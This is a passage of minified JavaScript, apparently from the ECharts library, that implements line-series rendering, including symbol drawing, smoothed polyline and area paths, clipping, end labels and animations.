n=e.mapDimensionsAll(`defaultedLabel`);if(!B(t))return t+``;for(var r=[],i=0;i<n.length;i++){var a=e.getDimensionIndex(n[i]);a>=0&&r.push(t[a])}return r.join(` `)}var mA=function(e){N(t,e);function t(t,n,r,i){var a=e.call(this)||this;return a.updateData(t,n,r,i),a}return t.prototype._createSymbol=function(e,t,n,r,i,a){this.removeAll();var o=Bx(e,-1,-1,2,2,null,a);o.attr({z2:W(i,100),culling:!0,scaleX:r[0]/2,scaleY:r[1]/2}),o.drift=hA,this._symbolType=e,this.add(o)},t.prototype.stopSymbolAnimation=function(e){this.childAt(0).stopAnimation(null,e)},t.prototype.getSymbolType=function(){return this._symbolType},t.prototype.getSymbolPath=function(){return this.childAt(0)},t.prototype.highlight=function(){Pd(this.childAt(0))},t.prototype.downplay=function(){Fd(this.childAt(0))},t.prototype.setZ=function(e,t){var n=this.childAt(0);n.zlevel=e,n.z=t},t.prototype.setDraggable=function(e,t){var n=this.childAt(0);n.draggable=e,n.cursor=!t&&e?`move`:n.cursor},t.prototype.updateData=function(e,n,r,i){this.silent=!1;var a=e.getItemVisual(n,`symbol`)||`circle`,o=e.hostModel,s=t.getSymbolSize(e,n),c=t.getSymbolZ2(e,n),l=a!==this._symbolType,u=i&&i.disableAnimation;if(l){var d=e.getItemVisual(n,`symbolKeepAspect`);this._createSymbol(a,e,n,s,c,d)}else{var f=this.childAt(0);f.silent=!1;var p={scaleX:s[0]/2,scaleY:s[1]/2};u?f.attr(p):Lp(f,p,o,n),Up(f)}if(this._updateCommon(e,n,s,r,i),l){var f=this.childAt(0);if(!u){var p={scaleX:this._sizeX,scaleY:this._sizeY,style:{opacity:f.style.opacity}};f.scaleX=f.scaleY=0,f.style.opacity=0,Rp(f,p,o,n)}}u&&this.childAt(0).stopAnimation(`leave`)},t.prototype._updateCommon=function(e,t,n,r,i){var a=this.childAt(0),o=e.hostModel,s,c,l,u,d,f,p,m,h;if(r&&(s=r.emphasisItemStyle,c=r.blurItemStyle,l=r.selectItemStyle,u=r.focus,d=r.blurScope,p=r.labelStatesModels,m=r.hoverScale,h=r.cursorStyle,f=r.emphasisDisabled),!r||e.hasItemOption){var g=r&&r.itemModel?r.itemModel:e.getItemModel(t),_=g.getModel(`emphasis`);s=_.getModel(`itemStyle`).getItemStyle(),l=g.getModel([`select`,`itemStyle`]).getItemStyle(),c=g.getModel([`blur`,`itemStyle`]).getItemStyle(),u=_.get(`focus`),d=_.get(`blurScope`),f=_.get(`disabled`),p=zm(g),m=_.getShallow(`scale`),h=g.getShallow(`cursor`)}var v=e.getItemVisual(t,`symbolRotate`);a.attr(`rotation`,(v||0)*Math.PI/180||0);var y=Hx(e.getItemVisual(t,`symbolOffset`),n);y&&(a.x=y[0],a.y=y[1]),h&&a.attr(`cursor`,h);var b=e.getItemVisual(t,`style`),x=b.fill;if(a instanceof ku){var S=a.style;a.useStyle(F({image:S.image,x:S.x,y:S.y,width:S.width,height:S.height},b))}else a.__isEmptyBrush?a.useStyle(F({},b)):a.useStyle(b),a.style.decal=null,a.setColor(x,i&&i.symbolInnerColor),a.style.strokeNoScale=!0;var C=e.getItemVisual(t,`liftZ`),w=this._z2;C==null?w!=null&&(a.z2=w,this._z2=null):w??(this._z2=a.z2,a.z2+=C);var T=i&&i.useNameLabel;Rm(a,p,{labelFetcher:o,labelDataIndex:t,defaultText:E,inheritColor:x,defaultOpacity:b.opacity});function E(t){return T?e.getName(t):fA(e,t)}this._sizeX=n[0]/2,this._sizeY=n[1]/2;var D=a.ensureState(`emphasis`);D.style=s,a.ensureState(`select`).style=l,a.ensureState(`blur`).style=c;var O=m==null||m===!0?Math.max(1.1,3/this._sizeY):isFinite(m)&&m>0?+m:1;D.scaleX=this._sizeX*O,D.scaleY=this._sizeY*O,this.setSymbolScale(1),$d(this,u,d,f)},t.prototype.setSymbolScale=function(e){this.scaleX=this.scaleY=e},t.prototype.fadeOut=function(e,t,n){var r=this.childAt(0),i=Z(this).dataIndex,a=n&&n.animation;if(this.silent=r.silent=!0,n&&n.fadeLabel){var o=r.getTextContent();o&&Bp(o,{style:{opacity:0}},t,{dataIndex:i,removeOpt:a,cb:function(){r.removeTextContent()}})}else r.removeTextContent();Bp(r,{style:{opacity:0},scaleX:0,scaleY:0},t,{dataIndex:i,cb:e,removeOpt:a})},t.getSymbolSize=function(e,t){return Vx(e.getItemVisual(t,`symbolSize`))},t.getSymbolZ2=function(e,t){return e.getItemVisual(t,`z2`)},t}(Y);function hA(e,t){this.parent.drift(e,t)}function gA(e,t,n,r){return t&&!isNaN(t[0])&&!isNaN(t[1])&&!(r.isIgnore&&r.isIgnore(n))&&!(r.clipShape&&!r.clipShape.contain(t[0],t[1]))&&e.getItemVisual(n,`symbol`)!==`none`}function _A(e){return e!=null&&!U(e)&&(e={isIgnore:e}),e||{}}function vA(e){var t=e.hostModel,n=t.getModel(`emphasis`);return{emphasisItemStyle:n.getModel(`itemStyle`).getItemStyle(),blurItemStyle:t.getModel([`blur`,`itemStyle`]).getItemStyle(),selectItemStyle:t.getModel([`select`,`itemStyle`]).getItemStyle(),focus:n.get(`focus`),blurScope:n.get(`blurScope`),emphasisDisabled:n.get(`disabled`),hoverScale:n.get(`scale`),labelStatesModels:zm(t),cursorStyle:t.get(`cursor`)}}var yA=function(){function e(e){this.group=new Y,this._SymbolCtor=e||mA}return e.prototype.updateData=function(e,t){this._progressiveEls=null,t=_A(t);var n=this.group,r=e.hostModel,i=this._data,a=this._SymbolCtor,o=t.disableAnimation,s=vA(e),c={disableAnimation:o},l=t.getSymbolPoint||function(t){return e.getItemLayout(t)};i||n.removeAll(),e.diff(i).add(function(r){var i=l(r);if(gA(e,i,r,t)){var o=new a(e,r,s,c);o.setPosition(i),e.setItemGraphicEl(r,o),n.add(o)}}).update(function(u,d){var f=i.getItemGraphicEl(d),p=l(u);if(!gA(e,p,u,t)){n.remove(f);return}var m=e.getItemVisual(u,`symbol`)||`circle`,h=f&&f.getSymbolType&&f.getSymbolType();if(!f||h&&h!==m)n.remove(f),f=new a(e,u,s,c),f.setPosition(p);else{f.updateData(e,u,s,c);var g={x:p[0],y:p[1]};o?f.attr(g):Lp(f,g,r)}n.add(f),e.setItemGraphicEl(u,f)}).remove(function(e){var t=i.getItemGraphicEl(e);t&&t.fadeOut(function(){n.remove(t)},r)}).execute(),this._getSymbolPoint=l,this._data=e},e.prototype.updateLayout=function(){var e=this,t=this._data;t&&t.eachItemGraphicEl(function(t,n){var r=e._getSymbolPoint(n);t.setPosition(r),t.markRedraw()})},e.prototype.incrementalPrepareUpdate=function(e){this._seriesScope=vA(e),this._data=null,this.group.removeAll()},e.prototype.incrementalUpdate=function(e,t,n){this._progressiveEls=[],n=_A(n);function r(e){e.isGroup||(e.incremental=!0,e.ensureState(`emphasis`).hoverLayer=!0)}for(var i=e.start;i<e.end;i++){var a=t.getItemLayout(i);if(gA(t,a,i,n)){var o=new this._SymbolCtor(t,i,this._seriesScope);o.traverse(r),o.setPosition(a),this.group.add(o),t.setItemGraphicEl(i,o),this._progressiveEls.push(o)}}},e.prototype.eachRendered=function(e){Em(this._progressiveEls||this.group,e)},e.prototype.remove=function(e){var t=this.group,n=this._data;n&&e?n.eachItemGraphicEl(function(e){e.fadeOut(function(){t.remove(e)},n.hostModel)}):t.removeAll()},e}();function bA(e,t,n){var r=e.getBaseAxis(),i=e.getOtherAxis(r),a=xA(i,n),o=r.dim,s=i.dim,c=t.mapDimension(s),l=t.mapDimension(o),u=+(s===`x`||s===`radius`),d=R(e.dimensions,function(e){return t.mapDimension(e)}),f=!1,p=t.getCalculationInfo(`stackResultDimension`);return cT(t,d[0])&&(f=!0,d[0]=p),cT(t,d[1])&&(f=!0,d[1]=p),{dataDimsForPoint:d,valueStart:a,valueAxisDim:s,baseAxisDim:o,stacked:!!f,valueDim:c,baseDim:l,baseDataOffset:u,stackedOverDimension:t.getCalculationInfo(`stackedOverDimension`)}}function xA(e,t){var n=0,r=e.scale.getExtent();return t===`start`?n=r[0]:t===`end`?n=r[1]:ht(t)&&!isNaN(t)?n=t:r[0]>0?n=r[0]:r[1]<0&&(n=r[1]),n}function SA(e,t,n,r){var i=NaN;e.stacked&&(i=n.get(n.getCalculationInfo(`stackedOverDimension`),r)),isNaN(i)&&(i=e.valueStart);var a=e.baseDataOffset,o=[];return o[a]=n.get(e.baseDim,r),o[1-a]=i,t.dataToPoint(o)}function CA(e,t){var n=[];return t.diff(e).add(function(e){n.push({cmd:`+`,idx:e})}).update(function(e,t){n.push({cmd:`=`,idx:t,idx1:e})}).remove(function(e){n.push({cmd:`-`,idx:e})}).execute(),n}function wA(e,t,n,r,i,a,o,s){for(var c=CA(e,t),l=[],u=[],d=[],f=[],p=[],m=[],h=[],g=bA(i,t,o),_=e.getLayout(`points`)||[],v=t.getLayout(`points`)||[],y=0;y<c.length;y++){var b=c[y],x=!0,S=void 0,C=void 0;switch(b.cmd){case`=`:S=b.idx*2,C=b.idx1*2;var w=_[S],T=_[S+1],E=v[C],D=v[C+1];(isNaN(w)||isNaN(T))&&(w=E,T=D),l.push(w,T),u.push(E,D),d.push(n[S],n[S+1]),f.push(r[C],r[C+1]),h.push(t.getRawIndex(b.idx1));break;case`+`:var O=b.idx,k=g.dataDimsForPoint,A=i.dataToPoint([t.get(k[0],O),t.get(k[1],O)]);C=O*2,l.push(A[0],A[1]),u.push(v[C],v[C+1]);var j=SA(g,i,t,O);d.push(j[0],j[1]),f.push(r[C],r[C+1]),h.push(t.getRawIndex(O));break;case`-`:x=!1}x&&(p.push(b),m.push(m.length))}m.sort(function(e,t){return h[e]-h[t]});for(var ee=l.length,te=FT(ee),M=FT(ee),ne=FT(ee),re=FT(ee),ie=[],y=0;y<m.length;y++){var ae=m[y],oe=y*2,se=ae*2;te[oe]=l[se],te[oe+1]=l[se+1],M[oe]=u[se],M[oe+1]=u[se+1],ne[oe]=d[se],ne[oe+1]=d[se+1],re[oe]=f[se],re[oe+1]=f[se+1],ie[y]=p[ae]}return{current:te,next:M,stackedOnCurrent:ne,stackedOnNext:re,status:ie}}var TA=Math.min,EA=Math.max;function DA(e,t){return isNaN(e)||isNaN(t)}function OA(e,t,n,r,i,a,o,s,c){for(var l,u,d,f,p,m,h=n,g=0;g<r;g++){var _=t[h*2],v=t[h*2+1];if(h>=i||h<0)break;if(DA(_,v)){if(c){h+=a;continue}break}if(h===n)e[a>0?`moveTo`:`lineTo`](_,v),d=_,f=v;else{var y=_-l,b=v-u;if(y*y+b*b<.5){h+=a;continue}if(o>0){for(var x=h+a,S=t[x*2],C=t[x*2+1];S===_&&C===v&&g<r;)g++,x+=a,h+=a,S=t[x*2],C=t[x*2+1],_=t[h*2],v=t[h*2+1],y=_-l,b=v-u;var w=g+1;if(c)for(;DA(S,C)&&w<r;)w++,x+=a,S=t[x*2],C=t[x*2+1];var T=.5,E=0,D=0,O=void 0,k=void 0;if(w>=r||DA(S,C))p=_,m=v;else{E=S-l,D=C-u;var A=_-l,j=S-_,ee=v-u,te=C-v,M=void 0,ne=void 0;if(s===`x`){M=Math.abs(A),ne=Math.abs(j);var re=E>0?1:-1;p=_-re*M*o,m=v,O=_+re*ne*o,k=v}else if(s===`y`){M=Math.abs(ee),ne=Math.abs(te);var ie=D>0?1:-1;p=_,m=v-ie*M*o,O=_,k=v+ie*ne*o}else M=Math.sqrt(A*A+ee*ee),ne=Math.sqrt(j*j+te*te),T=ne/(ne+M),p=_-E*o*(1-T),m=v-D*o*(1-T),O=_+E*o*T,k=v+D*o*T,O=TA(O,EA(S,_)),k=TA(k,EA(C,v)),O=EA(O,TA(S,_)),k=EA(k,TA(C,v)),E=O-_,D=k-v,p=_-E*M/ne,m=v-D*M/ne,p=TA(p,EA(l,_)),m=TA(m,EA(u,v)),p=EA(p,TA(l,_)),m=EA(m,TA(u,v)),E=_-p,D=v-m,O=_+E*ne/M,k=v+D*ne/M}e.bezierCurveTo(d,f,p,m,_,v),d=O,f=k}else e.lineTo(_,v)}l=_,u=v,h+=a}return g}var kA=function(){function e(){this.smooth=0,this.smoothConstraint=!0}return e}(),AA=function(e){N(t,e);function t(t){var n=e.call(this,t)||this;return n.type=`ec-polyline`,n}return t.prototype.getDefaultStyle=function(){return{stroke:Q.color.neutral99,fill:null}},t.prototype.getDefaultShape=function(){return new kA},t.prototype.buildPath=function(e,t){var n=t.points,r=0,i=n.length/2;if(t.connectNulls){for(;i>0&&DA(n[i*2-2],n[i*2-1]);i--);for(;r<i&&DA(n[r*2],n[r*2+1]);r++);}for(;r<i;)r+=OA(e,n,r,i,i,1,t.smooth,t.smoothMonotone,t.connectNulls)+1},t.prototype.getPointOn=function(e,t){this.path||(this.createPathProxy(),this.buildPath(this.path,this.shape));for(var n=this.path.data,r=Ql.CMD,i,a,o=t===`x`,s=[],c=0;c<n.length;){var l=n[c++],u=void 0,d=void 0,f=void 0,p=void 0,m=void 0,h=void 0,g=void 0;switch(l){case r.M:i=n[c++],a=n[c++];break;case r.L:if(u=n[c++],d=n[c++],g=o?(e-i)/(u-i):(e-a)/(d-a),g<=1&&g>=0){var _=o?(d-a)*g+a:(u-i)*g+i;return o?[e,_]:[_,e]}i=u,a=d;break;case r.C:u=n[c++],d=n[c++],f=n[c++],p=n[c++],m=n[c++],h=n[c++];var v=o?Qr(i,u,f,m,e,s):Qr(a,d,p,h,e,s);if(v>0)for(var y=0;y<v;y++){var b=s[y];if(b<=1&&b>=0){var _=o?Xr(a,d,p,h,b):Xr(i,u,f,m,b);return o?[e,_]:[_,e]}}i=m,a=h;break}}},t}(Cu),jA=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t}(kA),MA=function(e){N(t,e);function t(t){var n=e.call(this,t)||this;return n.type=`ec-polygon`,n}return t.prototype.getDefaultShape=function(){return new jA},t.prototype.buildPath=function(e,t){var n=t.points,r=t.stackedOnPoints,i=0,a=n.length/2,o=t.smoothMonotone;if(t.connectNulls){for(;a>0&&DA(n[a*2-2],n[a*2-1]);a--);for(;i<a&&DA(n[i*2],n[i*2+1]);i++);}for(;i<a;){var s=OA(e,n,i,a,a,1,t.smooth,o,t.connectNulls);OA(e,r,i+s-1,s,a,-1,t.stackedOnSmooth,o,t.connectNulls),i+=s+1,e.closePath()}},t}(Cu);function NA(e,t,n,r,i){var a=e.getArea(),o=a.x,s=a.y,c=a.width,l=a.height,u=n.get([`lineStyle`,`width`])||0;o-=u/2,s-=u/2,c+=u,l+=u,c=Math.ceil(c),o!==Math.floor(o)&&(o=Math.floor(o),c++);var d=new Lu({shape:{x:o,y:s,width:c,height:l}});if(t){var f=e.getBaseAxis(),p=f.isHorizontal(),m=f.inverse;p?(m&&(d.shape.x+=c),d.shape.width=0):(m||(d.shape.y+=l),d.shape.height=0);var h=V(i)?function(e){i(e,d)}:null;Rp(d,{shape:{width:c,height:l,x:o,y:s}},n,null,r,h)}return d}function PA(e,t,n){var r=e.getArea(),i=cs(r.r0,1),a=cs(r.r,1),o=new tp({shape:{cx:cs(e.cx,1),cy:cs(e.cy,1),r0:i,r:a,startAngle:r.startAngle,endAngle:r.endAngle,clockwise:r.clockwise}});return t&&(e.getBaseAxis().dim===`angle`?o.shape.endAngle=r.startAngle:o.shape.r=i,Rp(o,{shape:{endAngle:r.endAngle,r:a}},n)),o}function FA(e,t,n,r,i){return e?e.type===`polar`?PA(e,t,n):e.type===`cartesian2d`?NA(e,t,n,r,i):null:null}function IA(e,t){return e.type===t}function LA(e,t){if(e.length===t.length){for(var n=0;n<e.length;n++)if(e[n]!==t[n])return;return!0}}function RA(e){for(var t=1/0,n=1/0,r=-1/0,i=-1/0,a=0;a<e.length;){var o=e[a++],s=e[a++];isNaN(o)||(t=Math.min(o,t),r=Math.max(o,r)),isNaN(s)||(n=Math.min(s,n),i=Math.max(s,i))}return[[t,n],[r,i]]}function zA(e,t){var n=RA(e),r=n[0],i=n[1],a=RA(t),o=a[0],s=a[1];return Math.max(Math.abs(r[0]-o[0]),Math.abs(r[1]-o[1]),Math.abs(i[0]-s[0]),Math.abs(i[1]-s[1]))}function BA(e){return ht(e)?e:e?.5:0}function VA(e,t,n){if(!n.valueDim)return[];for(var r=t.count(),i=FT(r*2),a=0;a<r;a++){var o=SA(n,e,t,a);i[a*2]=o[0],i[a*2+1]=o[1]}return i}function HA(e,t,n,r,i){var a=n.getBaseAxis(),o=a.dim===`x`||a.dim===`radius`?0:1,s=[],c=0,l=[],u=[],d=[],f=[];if(i){for(c=0;c<e.length;c+=2){var p=t||e;!isNaN(p[c])&&!isNaN(p[c+1])&&f.push(e[c],e[c+1])}e=f}for(c=0;c<e.length-2;c+=2)switch(d[0]=e[c+2],d[1]=e[c+3],u[0]=e[c],u[1]=e[c+1],s.push(u[0],u[1]),r){case`end`:l[o]=d[o],l[1-o]=u[1-o],s.push(l[0],l[1]);break;case`middle`:var m=(u[o]+d[o])/2,h=[];l[o]=h[o]=m,l[1-o]=u[1-o],h[1-o]=d[1-o],s.push(l[0],l[1]),s.push(h[0],h[1]);break;default:l[o]=u[o],l[1-o]=d[1-o],s.push(l[0],l[1])}return s.push(e[c++],e[c++]),s}function UA(e,t){var n=[],r=e.length,i,a;function o(e,t,n){var r=e.coord;return{coord:n,color:Pi((n-r)/(t.coord-r),[e.color,t.color])}}for(var s=0;s<r;s++){var c=e[s],l=c.coord;if(l<0)i=c;else if(l>t){a?n.push(o(a,c,t)):i&&n.push(o(i,c,0),o(i,c,t));break}else i&&=(n.push(o(i,c,0)),null),n.push(c),a=c}return n}function WA(e,t,n){var r=e.getVisual(`visualMeta`);if(!(!r||!r.length||!e.count())&&t.type===`cartesian2d`){for(var i,a,o=r.length-1;o>=0;o--){var s=e.getDimensionInfo(r[o].dimension);if(i=s&&s.coordDim,i===`x`||i===`y`){a=r[o];break}}if(a){var c=t.getAxis(i),l=R(a.stops,function(e){return{coord:c.toGlobalCoord(c.dataToCoord(e.value)),color:e.color}}),u=l.length,d=a.outerColors.slice();u&&l[0].coord>l[u-1].coord&&(l.reverse(),d.reverse());var f=UA(l,i===`x`?n.getWidth():n.getHeight()),p=f.length;if(!p&&u)return l[0].coord<0?d[1]?d[1]:l[u-1].color:d[0]?d[0]:l[0].color;var m=10,h=f[0].coord-m,g=f[p-1].coord+m,_=g-h;if(_<.001)return`transparent`;L(f,function(e){e.offset=(e.coord-h)/_}),f.push({offset:p?f[p-1].offset:.5,color:d[1]||`transparent`}),f.unshift({offset:p?f[0].offset:.5,color:d[0]||`transparent`});var v=new xp(0,0,0,0,f,!0);return v[i]=h,v[i+`2`]=g,v}}}function GA(e,t,n){var r=e.get(`showAllSymbol`),i=r===`auto`;if(!(r&&!i)){var a=n.getAxesByScale(`ordinal`)[0];if(a&&!(i&&KA(a,t))){var o=t.mapDimension(a.dim),s={};return L(a.getViewLabels(),function(e){var t=a.scale.getRawOrdinalNumber(e.tickValue);s[t]=1}),function(e){return!s.hasOwnProperty(t.get(o,e))}}}}function KA(e,t){var n=e.getExtent(),r=Math.abs(n[1]-n[0])/e.scale.count();isNaN(r)&&(r=0);for(var i=t.count(),a=Math.max(1,Math.round(i/5)),o=0;o<i;o+=a)if(mA.getSymbolSize(t,o)[+!!e.isHorizontal()]*1.5>r)return!1;return!0}function qA(e,t){return isNaN(e)||isNaN(t)}function JA(e){for(var t=e.length/2;t>0&&qA(e[t*2-2],e[t*2-1]);t--);return t-1}function YA(e,t){return[e[t*2],e[t*2+1]]}function XA(e,t,n){for(var r=e.length/2,i=n===`x`?0:1,a,o,s=0,c=-1,l=0;l<r;l++)if(o=e[l*2+i],!(isNaN(o)||isNaN(e[l*2+1-i]))){if(l===0){a=o;continue}if(a<=t&&o>=t||a>=t&&o<=t){c=l;break}s=l,a=o}return{range:[s,c],t:(t-a)/(o-a)}}function ZA(e){if(e.get([`endLabel`,`show`]))return!0;for(var t=0;t<sd.length;t++)if(e.get([sd[t],`endLabel`,`show`]))return!0;return!1}function QA(e,t,n,r){if(IA(t,`cartesian2d`)){var i=r.getModel(`endLabel`),a=i.get(`valueAnimation`),o=r.getData(),s={lastFrameIndex:0},c=ZA(r)?function(n,r){e._endLabelOnDuring(n,r,o,s,a,i,t)}:null,l=t.getBaseAxis().isHorizontal(),u=NA(t,n,r,function(){var t=e._endLabel;t&&n&&s.originalX!=null&&t.attr({x:s.originalX,y:s.originalY})},c);if(!r.get(`clip`,!0)){var d=u.shape,f=Math.max(d.width,d.height);l?(d.y-=f,d.height+=f*2):(d.x-=f,d.width+=f*2)}return c&&c(1,u),u}else return PA(t,n,r)}function $A(e,t){var n=t.getBaseAxis(),r=n.isHorizontal(),i=n.inverse,a=r?i?`right`:`left`:`center`,o=r?`middle`:i?`top`:`bottom`;return{normal:{align:e.get(`align`)||a,verticalAlign:e.get(`verticalAlign`)||o}}}var ej=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.init=function(){var e=new Y,t=new yA;this.group.add(t.group),this._symbolDraw=t,this._lineGroup=e,this._changePolyState=z(this._changePolyState,this)},t.prototype.render=function(e,t,n){var r=e.coordinateSystem,i=this.group,a=e.getData(),o=e.getModel(`lineStyle`),s=e.getModel(`areaStyle`),c=a.getLayout(`points`)||[],l=r.type===`polar`,u=this._coordSys,d=this._symbolDraw,f=this._polyline,p=this._polygon,m=this._lineGroup,h=!t.ssr&&e.get(`animation`),g=!s.isEmpty(),_=s.get(`origin`),v=bA(r,a,_),y=g&&VA(r,a,v),b=e.get(`showSymbol`),x=e.get(`connectNulls`),S=b&&!l&&GA(e,a,r),C=this._data;C&&C.eachItemGraphicEl(function(e,t){e.__temp&&(i.remove(e),C.setItemGraphicEl(t,null))}),b||d.remove(),i.add(m);var w=l?!1:e.get(`step`),T;r&&r.getArea&&e.get(`clip`,!0)&&(T=r.getArea(),T.width==null?T.r0&&(T.r0-=.5,T.r+=.5):(T.x-=.1,T.y-=.1,T.width+=.2,T.height+=.2)),this._clipShapeForSymbol=T;var E=WA(a,r,n)||a.getVisual(`style`)[a.getVisual(`drawType`)];if(!(f&&u.type===r.type&&w===this._step))b&&d.updateData(a,{isIgnore:S,clipShape:T,disableAnimation:!0,getSymbolPoint:function(e){return[c[e*2],c[e*2+1]]}}),h&&this._initSymbolLabelAnimation(a,r,T),w&&(y&&=HA(y,c,r,w,x),c=HA(c,null,r,w,x)),f=this._newPolyline(c),g?p=this._newPolygon(c,y):p&&=(m.remove(p),this._polygon=null),l||this._initOrUpdateEndLabel(e,r,xg(E)),m.setClipPath(QA(this,r,!0,e));else{g&&!p?p=this._newPolygon(c,y):p&&!g&&(m.remove(p),p=this._polygon=null),l||this._initOrUpdateEndLabel(e,r,xg(E));var D=m.getClipPath();D?Rp(D,{shape:QA(this,r,!1,e).shape},e):m.setClipPath(QA(this,r,!0,e)),b&&d.updateData(a,{isIgnore:S,clipShape:T,disableAnimation:!0,getSymbolPoint:function(e){return[c[e*2],c[e*2+1]]}}),(!LA(this._stackedOnPoints,y)||!LA(this._points,c))&&(h?this._doUpdateAnimation(a,y,r,n,w,_,x):(w&&(y&&=HA(y,c,r,w,x),c=HA(c,null,r,w,x)),f.setShape({points:c}),p&&p.setShape({points:c,stackedOnPoints:y})))}var O=e.getModel(`emphasis`),k=O.get(`focus`),A=O.get(`blurScope`),j=O.get(`disabled`);if(f.useStyle(I(o.getLineStyle(),{fill:`none`,stroke:E,lineJoin:`bevel`})),rf(f,e,`lineStyle`),f.style.lineWidth>0&&e.get([`emphasis`,`lineStyle`,`width`])===`bolder`){var ee=f.getState(`emphasis`).style;ee.lineWidth=+f.style.lineWidth+1}Z(f).seriesIndex=e.seriesIndex,$d(f,k,A,j);var te=BA(e.get(`smooth`)),M=e.get(`smoothMonotone`);if(f.setShape({smooth:te,smoothMonotone:M,connectNulls:x}),p){var ne=a.getCalculationInfo(`stackedOnSeries`),re=0;p.useStyle(I(s.getAreaStyle(),{fill:E,opacity:.7,lineJoin:`bevel`,decal:a.getVisual(`style`).decal})),ne&&(re=BA(ne.get(`smooth`))),p.setShape({smooth:te,stackedOnSmooth:re,smoothMonotone:M,connectNulls:x}),rf(p,e,`areaStyle`),Z(p).seriesIndex=e.seriesIndex,$d(p,k,A,j)}var ie=this._changePolyState;a.eachItemGraphicEl(function(e){e&&(e.onHoverStateChange=ie)}),this._polyline.onHoverStateChange=ie,this._data=a,this._coordSys=r,this._stackedOnPoints=y,this._points=c,this._step=w,this._valueOrigin=_,e.get(`triggerLineEvent`)&&(this.packEventData(e,f),p&&this.packEventData(e,p))},t.prototype.packEventData=function(e,t){Z(t).eventData={componentType:`series`,componentSubType:`line`,componentIndex:e.componentIndex,seriesIndex:e.seriesIndex,seriesName:e.name,seriesType:`line`}},t.prototype.highlight=function(e,t,n,r){var i=e.getData(),a=ac(i,r);if(this._changePolyState(`emphasis`),!(a instanceof Array)&&a!=null&&a>=0){var o=i.getLayout(`points`),s=i.getItemGraphicEl(a);if(!s){var c=o[a*2],l=o[a*2+1];if(isNaN(c)||isNaN(l)||this._clipShapeForSymbol&&!this._clipShapeForSymbol.contain(c,l))return;var u=e.get(`zlevel`)||0,d=e.get(`z`)||0;s=new mA(i,a),s.x=c,s.y=l,s.setZ(u,d);var f=s.getSymbolPath().getTextContent();f&&(f.zlevel=u,f.z=d,f.z2=this._polyline.z2+1),s.__temp=!0,i.setItemGraphicEl(a,s),s.stopSymbolAnimation(!0),this.group.add(s)}s.highlight()}else Ab.prototype.highlight.call(this,e,t,n,r)},t.prototype.downplay=function(e,t,n,r){var i=e.getData(),a=ac(i,r);if(this._changePolyState(`normal`),a!=null&&a>=0){var o=i.getItemGraphicEl(a);o&&(o.__temp?(i.setItemGraphicEl(a,null),this.group.remove(o)):o.downplay())}else Ab.prototype.downplay.call(this,e,t,n,r)},t.prototype._changePolyState=function(e){var t=this._polygon;Td(this._polyline,e),t&&Td(t,e)},t.prototype._newPolyline=function(e){var t=this._polyline;return t&&this._lineGroup.remove(t),t=new AA({shape:{points:e},segmentIgnoreThreshold:2,z2:10}),this._lineGroup.add(t),this._polyline=t,t},t.prototype._newPolygon=function(e,t){var n=this._polygon;return n&&this._lineGroup.remove(n),n=new MA({shape:{points:e,stackedOnPoints:t},segmentIgnoreThreshold:2}),this._lineGroup.add(n),this._polygon=n,n},t.prototype._initSymbolLabelAnimation=function(e,t,n){var r,i,a=t.getBaseAxis(),o=a.inverse;t.type===`cartesian2d`?(r=a.isHorizontal(),i=!1):t.type===`polar`&&(r=a.dim===`angle`,i=!0);var s=e.hostModel,c=s.get(`animationDuration`);V(c)&&(c=c(null));var l=s.get(`animationDelay`)||0,u=V(l)?l(null):l;e.eachItemGraphicEl(function(e,a){var s=e;if(s){var d=[e.x,e.y],f=void 0,p=void 0,m=void 0;if(n)if(i){var h=n,g=t.pointToCoord(d);r?(f=h.startAngle,p=h.endAngle,m=-g[1]/180*Math.PI):(f=h.r0,p=h.r,m=g[0])}else{var _=n;r?(f=_.x,p=_.x+_.width,m=e.x):(f=_.y+_.height,p=_.y,m=e.y)}var v=p===f?0:(m-f)/(p-f);o&&(v=1-v);var y=V(l)?l(a):c*v+u,b=s.getSymbolPath(),x=b.getTextContent();s.attr({scaleX:0,scaleY:0}),s.animateTo({scaleX:1,scaleY:1},{duration:200,setToFinal:!0,delay:y}),x&&x.animateFrom({style:{opacity:0}},{duration:300,delay:y}),b.disableLabelAnimation=!0}})},t.prototype._initOrUpdateEndLabel=function(e,t,n){var r=e.getModel(`endLabel`);if(ZA(e)){var i=e.getData(),a=this._polyline,o=i.getLayout(`points`);if(!o){a.removeTextContent(),this._endLabel=null;return}var s=this._endLabel;s||(s=this._endLabel=new Hu({z2:200}),s.ignoreClip=!0,a.setTextContent(this._endLabel),a.disableLabelAnimation=!0);var c=JA(o);c>=0&&(Rm(a,zm(e,`endLabel`),{inheritColor:n,labelFetcher:e,labelDataIndex:c,defaultText:function(e,t,n){return n==null?fA(i,e):pA(i,n)},enableTextSetter:!0},$A(r,t)),a.textConfig.position=null)}else this._endLabel&&=(this._polyline.removeTextContent(),null)},t.prototype._endLabelOnDuring=function(e,t,n,r,i,a,o){var s=this._endLabel,c=this._polyline;if(s){e<1&&r.originalX==null&&(r.originalX=s.x,r.originalY=s.y);var l=n.getLayout(`points`),u=n.hostModel,d=u.get(`connectNulls`),f=a.get(`precision`),p=a.get(`distance`)||0,m=o.getBaseAxis(),h=m.isHorizontal(),g=m.inverse,_=t.shape,v=g?h?_.x:_.y+_.height:h?_.x+_.width:_.y,y=(h?p:0)*(g?-1:1),b=(h?0:-p)*(g?-1:1),x=h?`x`:`y`,S=XA(l,v,x),C=S.range,w=C[1]-C[0],T=void 0;if(w>=1){if(w>1&&!d){var E=YA(l,C[0]);s.attr({x:E[0]+y,y:E[1]+b}),i&&(T=u.getRawValue(C[0]))}else{var E=c.getPointOn(v,x);E&&s.attr({x:E[0]+y,y:E[1]+b});var D=u.getRawValue(C[0]),O=u.getRawValue(C[1]);i&&(T=_c(n,f,D,O,S.t))}r.lastFrameIndex=C[0]}else{var k=e===1||r.lastFrameIndex>0?C[0]:0,E=YA(l,k);i&&(T=u.getRawValue(k)),s.attr({x:E[0]+y,y:E[1]+b})}if(i){var A=Ym(s);typeof A.setLabelText==`function`&&A.setLabelText(T)}}},t.prototype._doUpdateAnimation=function(e,t,n,r,i,a,o){var 